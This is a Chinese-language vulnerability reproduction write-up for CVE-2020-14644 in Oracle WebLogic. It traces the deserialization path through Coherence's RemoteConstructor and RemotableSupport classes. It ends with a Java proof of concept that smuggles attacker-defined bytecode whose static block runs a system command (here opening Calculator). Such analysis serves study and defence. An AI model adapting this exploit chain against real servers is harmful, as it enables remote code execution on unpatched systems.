Weblogic远程代码执行漏洞复现(CVE-2020-14644)

0x00 环境

Oracle WebLogic Server 12.2.1.3.0

0x01 分析

首先看本漏洞的触发点com.tangosol.internal.util.invoke.RemoteConstructor类,该类是实现了ExternalizableLite接口,而ExternalizableLite接口继承了Serializable接口,相当于RemoteConstructor间接继承了Serializable是可以序列化的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
// 部分代码
package com.tangosol.internal.util.invoke;

public class RemoteConstructor<T> implements ExternalizableLite, PortableObject, SerializationSupport, SerializerAware {
@JsonbProperty("definition")
protected ClassDefinition m_definition;
@JsonbProperty("args")
protected Object[] m_aoArgs;
private transient Serializer m_serializer;
protected transient ClassLoader m_loader;

public RemoteConstructor() {
}

public RemoteConstructor(ClassDefinition definition, Object[] aoArgs) {
this.m_definition = definition;

for(int i = 0; i < aoArgs.length; ++i) {
Object arg = aoArgs[i];
aoArgs[i] = Lambdas.isLambda(arg) ? Lambdas.ensureRemotable((Serializable)arg) : arg;
}

this.m_aoArgs = aoArgs;
}

public ClassIdentity getId() {
return this.getDefinition().getId();
}

public ClassDefinition getDefinition() {
return this.m_definition;
}

public Object[] getArguments() {
return this.m_aoArgs;
}

public T newInstance() {
RemotableSupport support = RemotableSupport.get(this.getClassLoader());
return support.realize(this);
}

protected ClassLoader getClassLoader() {
ClassLoader loader = this.m_loader;
return loader == null ? Base.getContextClassLoader(this) : loader;
}

public Object readResolve() throws ObjectStreamException {
return this.newInstance();
}

public Serializer getContextSerializer() {
return this.m_serializer;
}

public void setContextSerializer(Serializer serializer) {
this.m_serializer = serializer;
if (serializer instanceof ClassLoaderAware) {
this.m_loader = ((ClassLoaderAware)serializer).getContextClassLoader();
}

}
}

可以看到RemoteConstructor类是有一个readResolve方法的,该方法在反序列化时会调用。

1
2
3
public Object readResolve() throws ObjectStreamException {
return this.newInstance();
}

调用newInstance进行实例化

1
2
3
4
public T newInstance() {
RemotableSupport support = RemotableSupport.get(this.getClassLoader());
return support.realize(this);
}

newInstance类里调用了com.tangosol.internal.util.invoke.RemotableSupport#get且参数是getClassLoader方法的返回值,这里暂时先看一下getClassLoader方法

1
2
3
4
protected ClassLoader getClassLoader() {
ClassLoader loader = this.m_loader;
return loader == null ? Base.getContextClassLoader(this) : loader;
}

由于m_loader是被transient关键字修饰的,所以loader在反序列化之后为null,程序一定会执行Base.getContextClassLoader(this)获取到当前类的Classloader并返回。

这里搞清楚之后回过头继续去看com.tangosol.internal.util.invoke.RemotableSupport#get

1
2
3
public static RemotableSupport get(ClassLoader loader) {
return loader instanceof RemotableSupport ? (RemotableSupport)loader : (RemotableSupport)s_mapByClassLoader.computeIfAbsent(Base.ensureClassLoader(loader), RemotableSupport::new);
}

只是判断参数ClassLoader是不是RemotableSupport类的实例化,如果是类型转换并返回。否则就执行

1
(RemotableSupport)s_mapByClassLoader.computeIfAbsent(Base.ensureClassLoader(loader), RemotableSupport::new)

computeIfAbsent方法第一个参数为key,若key值存在返回对应的value,否则返回第二个参数,在这里就是RemotableSupport对象。

然后返回newInstance继续向下执行进入RemotableSupport#realize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public <T> T realize(RemoteConstructor<T> constructor) {
ClassDefinition definition = this.registerIfAbsent(constructor.getDefinition());
Class<? extends Remotable> clz = definition.getRemotableClass();
if (clz == null) {
synchronized(definition) {
clz = definition.getRemotableClass();
if (clz == null) {
definition.setRemotableClass(this.defineClass(definition));
}
}
}

Remotable<T> instance = (Remotable)definition.createInstance(constructor.getArguments());
instance.setRemoteConstructor(constructor);
return instance;
}

首先会执行registerIfAbsent方法,由于是第一次调用到这里f_mapDefinitions还没初始化,所以rtn为null,返回definition

1
2
3
4
5
6
protected ClassDefinition registerIfAbsent(ClassDefinition definition) {
assert definition != null;

ClassDefinition rtn = (ClassDefinition)this.f_mapDefinitions.putIfAbsent(definition.getId(), definition);
return rtn == null ? definition : rtn;
}

putIfAbsent 如果传入key对应的value已经存在,就返回存在的value,不进行替换。如果不存在,就添加key和value,返回null

向下继续执行,调用definition.getRemotableClass()

1
2
3
public Class<? extends Remotable> getRemotableClass() {
return this.m_clz;
}

由于m_clz也是transient修饰的,所以clz为null,进入definition.setRemotableClass(this.defineClass(definition));分支注册类,最后通过createInstance创建该类的实例,执行代码。

分析完RemoteConstructor我们回头看一下他的参数ClassDefinition definition

1
2
3
4
5
6
7
8
9
public ClassDefinition() {
}

public ClassDefinition(ClassIdentity id, byte[] abClass) {
this.m_id = id;
this.m_abClass = abClass;
String sClassName = id.getName();
Base.azzert(sClassName.length() < 65535, "The generated class name is too long:\n" + sClassName);
}

从该类的构造方法上可以看到,接受两个参数一个为ClassIdentity类型的id,另一个为byte[] abClass(类字节码,在com.tangosol.internal.util.invoke.RemotableSupport#defineClass中有用到)。

还要注意一点是某些方法中参数要继承自Remotable类,否则会抛异常~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public <T> T realize(RemoteConstructor<T> constructor) {
ClassDefinition definition = this.registerIfAbsent(constructor.getDefinition());
Class<? extends Remotable> clz = definition.getRemotableClass();
if (clz == null) {
synchronized(definition) {
clz = definition.getRemotableClass();
if (clz == null) {
definition.setRemotableClass(this.defineClass(definition));
}
}
}
protected Class<? extends Remotable> defineClass(ClassDefinition definition) {
String sBinClassName = definition.getId().getName();
String sClassName = sBinClassName.replace('/', '.');
byte[] abClass = definition.getBytes();
definition.dumpClass(DUMP_REMOTABLE);
return this.defineClass(sClassName, abClass, 0, abClass.length);
}


public void setRemotableClass(Class<? extends Remotable> clz) {
this.m_clz = clz;
Constructor<?>[] aCtor = clz.getDeclaredConstructors();
if (aCtor.length == 1) {
try {
MethodType ctorType = MethodType.methodType(Void.TYPE, aCtor[0].getParameterTypes());
this.m_mhCtor = MethodHandles.publicLookup().findConstructor(clz, ctorType);
} catch (IllegalAccessException | NoSuchMethodException var4) {
throw Base.ensureRuntimeException(var4);
}
}

}

最后再去看一下ClassIdentity类的构造方法,参数为一个Class类型变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public ClassIdentity() {
}

public ClassIdentity(Class<?> clazz) {
this(clazz.getPackage().getName().replace('.', '/'), clazz.getName().substring(clazz.getName().lastIndexOf(46) + 1), Base.toHex(md5(clazz)));
}

protected ClassIdentity(String sPackage, String sBaseName, String sVersion) {
this.m_sPackage = sPackage;
this.m_sBaseName = sBaseName;
this.m_sVersion = sVersion;
}

public String getVersion() {
return this.m_sVersion;
}

public String getName() {
return this.getPackage() + "/" + this.getSimpleName();
}

public String getSimpleName() {
return this.getBaseName() + "$" + this.getVersion();
}

ClassIdentity保存的是类的命名信息:包名、类名、版本,且格式也能看出来

包名.类名$Version

那么就要修改abClass中的类名信息与id一致,可以使用javassist类来修改。

poc参考宽字节大佬的

0x02 Poc

App2.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package org.unicodesec;
import com.tangosol.internal.util.invoke.ClassDefinition;
import com.tangosol.internal.util.invoke.ClassIdentity;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import java.io.IOException;

public class App2 {
public static void main(String[] args) throws IOException, NotFoundException, CannotCompileException {

ClassIdentity classIdentity = new ClassIdentity(org.unicodesec.test2.class);

ClassPool cp = ClassPool.getDefault();
CtClass ctClass = cp.get(org.unicodesec.test2.class.getName());
System.out.println(ctClass.toString());

ctClass.replaceClassName(org.unicodesec.test2.class.getName(), org.unicodesec.test2.class.getName() + "$" + classIdentity.getVersion());
System.out.println(ctClass.toString());

ClassDefinition classDefinition = new ClassDefinition(classIdentity, ctClass.toBytecode());

RemoteConstructor remoteConstructor = new RemoteConstructor<>(classDefinition,new Object[]{});

byte[] serialize = Serializables.serialize(remoteConstructor);

Serializables.deserialize(serialize);

}

test2.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.unicodesec;

import com.tangosol.internal.util.invoke.Remotable;
import com.tangosol.internal.util.invoke.RemoteConstructor;

import java.io.IOException;

public class test2 implements Remotable {
static {
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
System.out.println("success!!!");

}

@Override
public RemoteConstructor getRemoteConstructor() {
return null;
}

@Override
public void setRemoteConstructor(RemoteConstructor remoteConstructor) {

}
}

0x03 参考

https://www.cnblogs.com/unicodeSec/p/13451993.html